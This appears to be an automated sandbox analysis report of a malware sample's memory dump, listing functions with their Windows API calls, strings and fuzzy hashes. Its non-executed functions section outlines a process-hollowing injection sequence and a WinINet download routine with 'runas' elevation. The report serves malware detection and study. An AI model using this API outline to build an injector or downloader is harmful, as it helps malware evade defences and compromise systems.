Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ChangeCloseErrorFindLastNotification__dosmaperr
String ID:
API String ID: 490808831-0
Opcode ID: 807730107f36a853c18b8d279feb0625d776876c165a816df0ebc4419417172f
Instruction ID: 855a1b191d83c3e9394ad136f7d9456ed2f12c59f6f5d489b6f4b645ce6e1dde
Opcode Fuzzy Hash: 807730107f36a853c18b8d279feb0625d776876c165a816df0ebc4419417172f
Instruction Fuzzy Hash: 6B01E53270065096D6201235E845BFF77494BC2738FAA026FF81D872C2DAA8CCD1959C

Uniqueness

Uniqueness Score: -1.00%

Function 0041CA29, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041CA8C

Strings

^SA, xrefs: 0041CA2B

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free
String ID: ^SA
API String ID: 269201875-154051897
Opcode ID: 3c657778f813c6f5b268f77ec237247de32264da0647686e6659de1cfa0cedb8
Instruction ID: 6034d8ea27f616415ff3ffdc71913a6cbd744896c4c1229f28ba72df701dd8a7
Opcode Fuzzy Hash: 3c657778f813c6f5b268f77ec237247de32264da0647686e6659de1cfa0cedb8
Instruction Fuzzy Hash: 50014472C0015DBFCF02EFE99C01AEE7FB5AF08354F144166F914E2161E6358AA1DB95

Uniqueness

Uniqueness Score: -1.00%

Function 004159AA, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,2!A,0041A862,00000220,?,?,?,?,?,?,00412132,?), ref: 004159DC

Strings

2!A, xrefs: 004159AC

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID: 2!A
API String ID: 1279760036-1441434633
Opcode ID: 3bd37d5dbf1b6b8b678fbc2b31860561537f1e264468bfb84b0ddc090e443fbb
Instruction ID: e35ac5e7cece6743c5da4249d19359c5bf9691d5dcfee95049b00cefedf1e07c
Opcode Fuzzy Hash: 3bd37d5dbf1b6b8b678fbc2b31860561537f1e264468bfb84b0ddc090e443fbb
Instruction Fuzzy Hash: 3CE0E5B1251A10DBE63126665C01BDB7A48DFC13B1F160127AC00D6290CA6CCCC281AF

Uniqueness

Uniqueness Score: -1.00%

Function 00404B45, Relevance: 3.3, APIs: 2, Instructions: 293COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00404B4E

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 995ac56e202fe9ac686033bf267814d4b554351450598c42891898a022b31327
Instruction ID: a5cdafc06c5de68753cfc33dac955256b816e325bc38cd07ab3ab692ec57effe
Opcode Fuzzy Hash: 995ac56e202fe9ac686033bf267814d4b554351450598c42891898a022b31327
Instruction Fuzzy Hash: DE8137716101049BEB08EB79CD85B9E7666DF81304F50463EF505A72D2D77DEAC0CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404C72, Relevance: 3.3, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00404C75

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: ba1075c0f3e3df0ee142c4b7704704d0a405d81bc836506253e44721999391ef
Instruction ID: 38ec967fc6cca89652e96f46a14f93b666f82d7160196d8141908d1a3359c393
Opcode Fuzzy Hash: ba1075c0f3e3df0ee142c4b7704704d0a405d81bc836506253e44721999391ef
Instruction Fuzzy Hash: 5B815771A101049BEB08EB79DD89B9E7666EF81304F50463EF504AB2D2D73DDAC0CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404FE7, Relevance: 3.3, APIs: 2, Instructions: 276COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00404FEA

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 073be0d48712a81d16f927da105a3e4f1672f56e782e54f0fcb7feb06fdefeae
Instruction ID: 1b496a8202566a01a187d0a2371c9978a2df59dcd6f2c8dad7bd9fd1590a30e3
Opcode Fuzzy Hash: 073be0d48712a81d16f927da105a3e4f1672f56e782e54f0fcb7feb06fdefeae
Instruction Fuzzy Hash: 83814571A101049BEB08DB79CD85BAE7666EF41308F50463EF404AB2D2D77DDA80CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040510E, Relevance: 3.3, APIs: 2, Instructions: 275COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405111

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 09ec69524f098834b54b9a91052b20cbd13ae6d406ad3d42ac1bc13e92f7c9cb
Instruction ID: b8c174c393774d19d91c100d689e0051ae8876b72677ef2ad20fd36fdb314877
Opcode Fuzzy Hash: 09ec69524f098834b54b9a91052b20cbd13ae6d406ad3d42ac1bc13e92f7c9cb
Instruction Fuzzy Hash: 67813671A10104ABEB18DB79CD85B9E7666EF41304F50463EF404AB2D6D77DDA80CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00405235, Relevance: 3.3, APIs: 2, Instructions: 274COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405238

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 829b898cb337f5d1fae7053c19f692b6a25a5988bb37126c9586e3ed67009915
Instruction ID: e34818e8ee50c834f60c3cf9a8eb636ad8fcb71f95453b65552a457cbb69f5d2
Opcode Fuzzy Hash: 829b898cb337f5d1fae7053c19f692b6a25a5988bb37126c9586e3ed67009915
Instruction Fuzzy Hash: 44812571A105049BEB08DB79CD85B9E7666EF41304F50463EF405A72D2D77DDA808F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040535C, Relevance: 3.3, APIs: 2, Instructions: 273COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0040535F

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: f61279d19c0c2c75add7996c1615ec2150be994899d07dbdd076967b1ea191f1
Instruction ID: d407575b5d00c801a3715add02effe9a31bdcfbbdcdc7d2061726392b83e28fb
Opcode Fuzzy Hash: f61279d19c0c2c75add7996c1615ec2150be994899d07dbdd076967b1ea191f1
Instruction Fuzzy Hash: 90812471A101089BEB08DB79CD89BAE7666EF41304F50463EF404AB2D2D77DDAC08F98

Uniqueness

Uniqueness Score: -1.00%

Function 00405483, Relevance: 3.3, APIs: 2, Instructions: 272COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405486

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9c0c8516690dee60e8b1de9323dae685ec8a2606dc5d05795b3ba5894e442695
Instruction ID: 9af280d08562d4109bc0562de839ea4dbfa2e12fa281ca53c578546f101d5ffd
Opcode Fuzzy Hash: 9c0c8516690dee60e8b1de9323dae685ec8a2606dc5d05795b3ba5894e442695
Instruction Fuzzy Hash: 5F813571A101049BEB08EB79DD89B9E7A66EF41308F50463EF404A72D2D67DDAC08F98

Uniqueness

Uniqueness Score: -1.00%

Function 004055AA, Relevance: 3.3, APIs: 2, Instructions: 271COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004055AD

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 3a8b80c80756d353312abae4af7526079af487de1556ce1c9531331f07675df1
Instruction ID: 5c196b18d3097935064304b6010d5d9716b7b1d079be1b002ad7aef5ddb30879
Opcode Fuzzy Hash: 3a8b80c80756d353312abae4af7526079af487de1556ce1c9531331f07675df1
Instruction Fuzzy Hash: 3E814671A101049BEB08EB79CD89BAE7666EF41304F50463EF409A72D2D63DDA80CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004056D1, Relevance: 3.3, APIs: 2, Instructions: 270COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004056D4

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 52f662ee7faf94f57c86287aa8c8625732a22ca8d44bd090b9b774e5ab143b07
Instruction ID: f34cbc0f273bd2a6ec27efce5b282dcf47852f5f58356958e4b98d36180e5d9c
Opcode Fuzzy Hash: 52f662ee7faf94f57c86287aa8c8625732a22ca8d44bd090b9b774e5ab143b07
Instruction Fuzzy Hash: 8E813771A101049BEB08EB79CD89BAE7666EF41308F50463EF405A72D2D77DDA80CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00406E83, Relevance: 3.1, APIs: 2, Instructions: 126COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000), ref: 00406E95
GetFileAttributesA.KERNELBASE(?), ref: 00406EA7

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: b6c79e9728e4291a2ea8e548758e9391d39822d1c0f98dd72f59dcd13fa687bb
Instruction ID: 915f6892ff4a040348685e3d1f771afdb944e15ab6b817e7a4f8bf126eed243d
Opcode Fuzzy Hash: b6c79e9728e4291a2ea8e548758e9391d39822d1c0f98dd72f59dcd13fa687bb
Instruction Fuzzy Hash: 9F415B31E001089BDF04EBB8DD8AA9DBB36DF45314F94013AF805B33C2D73899958799

Uniqueness

Uniqueness Score: -1.00%

Function 00414083, Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004140CB

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 6cc94863f24da0ee58188c5d9f3ccb076fa02bd6e1a980c735fb96a40f1a85b7
Instruction ID: 3d095d306168320866402369d403beb1669284c2e7999e5a8039d735650467a3
Opcode Fuzzy Hash: 6cc94863f24da0ee58188c5d9f3ccb076fa02bd6e1a980c735fb96a40f1a85b7
Instruction Fuzzy Hash: EFE0A032602920819231A63B7C013EA09A5ABC933AB11037BE628861E1DF7848C7445E

Uniqueness

Uniqueness Score: -1.00%

Function 02230DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02230223,?,?), ref: 02230E02
SetErrorMode.KERNELBASE(00000000,?,?,02230223,?,?), ref: 02230E07

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 1eb0a082441fc5df915dc0da98a78a61be0cad001a755f32f9d8105225bcf8fd
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: F1D0127225522CB7DB012AD4DC09BCEBB5C9F05BAAF008021FB0DE9581CBB09A4146FA

Uniqueness

Uniqueness Score: -1.00%

Function 00405804, Relevance: 1.8, APIs: 1, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 083870d1e3a48b1bf2e23e3f4ddca2c8ef7436bb327b2443f547016b316cd463
Instruction ID: ebee070601532d63409d9d54d4378eb6f45d841a2a11adfd73ea16460331e925
Opcode Fuzzy Hash: 083870d1e3a48b1bf2e23e3f4ddca2c8ef7436bb327b2443f547016b316cd463
Instruction Fuzzy Hash: FC815971A101049BEB08EB28CD85BAE7A25EF41304F50463EF405AB2D2D77DDAD08F99

Uniqueness

Uniqueness Score: -1.00%

Function 0041531F, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00415359

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 5b9b3ff5b06060b83a180fecabe560582c40c302df106cdafeb20deb20b3fa96
Instruction ID: 1d6aca65bcf3e25318dfe7d7095636701c7e0c87e9e1967b12b01852e40d3c12
Opcode Fuzzy Hash: 5b9b3ff5b06060b83a180fecabe560582c40c302df106cdafeb20deb20b3fa96
Instruction Fuzzy Hash: 5F111871A0420AAFCB05DF58E941ADB7BF5EF48304F05406AF809EB351D671D911CB68

Uniqueness

Uniqueness Score: -1.00%

Function 004112BB, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c5f12808fd1821e45b476d7ed57b6dfec51555f21093e67fbf8b16c83a431e2
Instruction ID: 80a9df45b838dafa3a6e559d3be64c252a5d324c26abc19f2e2e4166300fd196
Opcode Fuzzy Hash: 5c5f12808fd1821e45b476d7ed57b6dfec51555f21093e67fbf8b16c83a431e2
Instruction Fuzzy Hash: E5F02632501A1496E620372B88017DA27998F82338F10071BFA34925E1DA7C958285AE

Uniqueness

Uniqueness Score: -1.00%

Function 0041DEA3, Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 004159AA: RtlAllocateHeap.NTDLL(00000000,?,?,2!A,0041A862,00000220,?,?,?,?,?,?,00412132,?), ref: 004159DC

_free.LIBCMT ref: 0041DEC3

Part of subcall function 004154C1: HeapFree.KERNEL32(00000000,00000000,?,004145A3), ref: 004154D7
Part of subcall function 004154C1: GetLastError.KERNEL32(?,?,004145A3), ref: 004154E9

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: d4f423ee6f2caadd98ac6879390f64fbe32f02b2e0e4f0cb7b88cf3cb3cbfd02
Instruction ID: 693dcdf69e3471f98c961023fc9d25f82c8ee01505acb6ddceb309d9356b465f
Opcode Fuzzy Hash: d4f423ee6f2caadd98ac6879390f64fbe32f02b2e0e4f0cb7b88cf3cb3cbfd02
Instruction Fuzzy Hash: 0BF06272505B00DFD3349F45D801792F7FCEF91722F10842FE29A8B591DAB8A4858B59

Uniqueness

Uniqueness Score: -1.00%

Function 0041C770, Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,0041CB60,?,?,00000000,?,0041CB60,00000000,0000000C), ref: 0041C78D

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d563dfaa9303f0cbcc920a190e9eded9226704e132240de5d493fcab5f594bc8
Instruction ID: 5d3ef887da8b63e3444176331524ca0bdbdc0af9896b585ac3d134a1cc739f81
Opcode Fuzzy Hash: d563dfaa9303f0cbcc920a190e9eded9226704e132240de5d493fcab5f594bc8
Instruction Fuzzy Hash: D7D06C3210014DBBDF128F84DC06EDA3BAAFB48754F014010BA1856120C732E832AB94

Uniqueness

Uniqueness Score: -1.00%

Function 02230920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 02230929

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 7ba80916a48acbfb0f046a5eb73e9b1892c8f9a247d3f52fd2d0df5884ae7060
Instruction ID: c0089d607f9342f2c15a261cd068abafb40f64debc35d3030ca853ef88393cfd
Opcode Fuzzy Hash: 7ba80916a48acbfb0f046a5eb73e9b1892c8f9a247d3f52fd2d0df5884ae7060
Instruction Fuzzy Hash: 879004F07441F051DC3035DC0C01F4500111741775F7037107130FF1D4DF4455000115

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004020D0, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 155injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,00000000), ref: 004020EC
CreateProcessA.KERNEL32 ref: 00402145
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004,?,00000000,00000000), ref: 0040215E
GetThreadContext.KERNEL32(?,00000000,?,00000000,00000000), ref: 00402173
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,00000000,00000000), ref: 00402196
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection,?,00000000,00000000), ref: 004021AE
GetProcAddress.KERNEL32(00000000), ref: 004021B5
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040,?,00000000,00000000), ref: 004021D4
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 004021EF
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000,?,00000000,00000000), ref: 0040222C
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000,?,00000000,00000000), ref: 0040225C
SetThreadContext.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00402272
ResumeThread.KERNEL32(?,?,?,00000000,?,00000000,00000000), ref: 0040227B
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,?,00000000,00000000), ref: 00402289
VirtualFree.KERNEL32(?,00000000,00008000,?,00000000,00000000), ref: 004022A0

Strings

ntdll.dll, xrefs: 004021A9
NtUnmapViewOfSection, xrefs: 004021A4

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 4033543172-1050664331
Opcode ID: 04ab5baca73f1d7fada38baaa7b89abcd72bdfc087db488689baa73d6d6d751b
Instruction ID: 0e71f42fb7cc77d9bd943e6b41bda9a6dc082800e3d645ecc03e48e1ba3a0098
Opcode Fuzzy Hash: 04ab5baca73f1d7fada38baaa7b89abcd72bdfc087db488689baa73d6d6d751b
Instruction Fuzzy Hash: BA515971A40304BFDB208BA4DC85FAABBB8FF08705F940065F609EA2D0D7B5A955DB58

Uniqueness

Uniqueness Score: -1.00%

Function 02232320, Relevance: 22.7, APIs: 15, Instructions: 155injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,00000000), ref: 0223233C
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 02232395
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004,?,00000000,00000000), ref: 022323AE
GetThreadContext.KERNEL32(?,00000000,?,00000000,00000000), ref: 022323C3
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,00000000,00000000), ref: 022323E6
GetModuleHandleA.KERNEL32(0042BCFC,0042BCE4,?,00000000,00000000), ref: 022323FE
GetProcAddress.KERNEL32(00000000), ref: 02232405
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040,?,00000000,00000000), ref: 02232424
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 0223243F
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000,?,00000000,00000000), ref: 0223247C
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000,?,00000000,00000000), ref: 022324AC
SetThreadContext.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 022324C2
ResumeThread.KERNEL32(?,?,?,00000000,?,00000000,00000000), ref: 022324CB
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,?,00000000,00000000), ref: 022324D9
VirtualFree.KERNEL32(?,00000000,00008000,?,00000000,00000000), ref: 022324F0

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID:
API String ID: 4033543172-0
Opcode ID: 9ece6e837acb4fa59888a1e4d99704a2eb9bd6168bebd7b156679880e24fc275
Instruction ID: 0f04f9d52464d991dc02ef41ef1b11488335e31192bffff808dfb715db058f62
Opcode Fuzzy Hash: 9ece6e837acb4fa59888a1e4d99704a2eb9bd6168bebd7b156679880e24fc275
Instruction Fuzzy Hash: 8B517C71A40305BFEB219B94DC45FAABBB8FF08715F504025FB09E6190D7B1A851DB68

Uniqueness

Uniqueness Score: -1.00%

Function 004022B0, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 136networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 00402351
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00402363
InternetReadFile.WININET(00000000,?,00032000,00032000), ref: 0040237A
InternetCloseHandle.WININET(00000000), ref: 0040238B
InternetCloseHandle.WININET(00000000), ref: 0040238E
InternetCloseHandle.WININET(00000000), ref: 0040239F
InternetCloseHandle.WININET(00000000), ref: 004023A2

Strings

Microsoft Internet Explorer, xrefs: 0040234C
<, xrefs: 0040252C
runas, xrefs: 00402545

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Internet$CloseHandle$Open$FileRead
String ID: <$Microsoft Internet Explorer$runas
API String ID: 4294395943-436926838
Opcode ID: 4212a34dfa56d952eef48b40269fe4657b9eb26caea2bd5cb5b46d5a9bb85872
Instruction ID: 836f0c5934710c0407d646d4299d5f63ee009bd7aa37a993408d58964a26c1b2
Opcode Fuzzy Hash: 4212a34dfa56d952eef48b40269fe4657b9eb26caea2bd5cb5b46d5a9bb85872
Instruction Fuzzy Hash: A5410731E00118ABDB18DF65CD45BAEB779EF45300F50846EE915B72C1D7BCAA41CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E558, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1354COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0041E6D3

Strings

1#QNAN, xrefs: 0041F871
1#SNAN, xrefs: 0041F86A
1#IND, xrefs: 0041F863
1#INF, xrefs: 0041F88E

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: a005afdf70cbc5fd782f2270ab14208bf2d376345593f391da20f8b7609389bc
Instruction ID: 73b07ccf904f6fe28677e941abafa6f6af0660e029413607766d14b04d1b3c9a
Opcode Fuzzy Hash: a005afdf70cbc5fd782f2270ab14208bf2d376345593f391da20f8b7609389bc
Instruction Fuzzy Hash: 78C24971E046288FDB24CE29CD407EAB7B5EB48315F1441EBD80EA7241E778AEC68F45

Uniqueness

Uniqueness Score: -1.00%

Function 00403C30, Relevance: 7.7, APIs: 5, Instructions: 212COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C), ref: 00403C86

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 209486ba1ab70bc4b47f221b73ef8462f8ca94ae43bc4868a889ca66473e6326
Instruction ID: fc88b0bca923a07532a6eb78641dceaa207a15a50886e6470e9b438ae10ccdb1
Opcode Fuzzy Hash: 209486ba1ab70bc4b47f221b73ef8462f8ca94ae43bc4868a889ca66473e6326
Instruction Fuzzy Hash: 3E61E271E092089BEB20DF69DC457ADBBB9EB05316F5002BBD804A73C0E7794A8487C9

Uniqueness

Uniqueness Score: -1.00%

Function 0041D80C, Relevance: 4.7, APIs: 3, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0042A578), ref: 0041D876
_free.LIBCMT ref: 0041D864

Part of subcall function 004154C1: HeapFree.KERNEL32(00000000,00000000,?,004145A3), ref: 004154D7
Part of subcall function 004154C1: GetLastError.KERNEL32(?,?,004145A3), ref: 004154E9

_free.LIBCMT ref: 0041DA30

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 2155170405-0
Opcode ID: abade2679911ff0bd980649801da2e1a1d9590fff11022cec78380238f54bb5e
Instruction ID: 040ce8c686c75568376863a9809982f8b495f893015502614a6789f1706dce94
Opcode Fuzzy Hash: abade2679911ff0bd980649801da2e1a1d9590fff11022cec78380238f54bb5e
Instruction Fuzzy Hash: B251D8F1E00219ABCB20EF76DD819EA77BCAF45314B50017BE42497291E7389EC6CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00413948, Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00413A40
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00413A4A
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00413A57

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 1b58fb1c12a4467edf4b1aa6b652b91fceb493b3b189146260a7fecfde64fd15
Instruction ID: 6175a4c4d39221674b44a327f0cd8fe6ae741a78192ccc9b53f76126df92d1ad
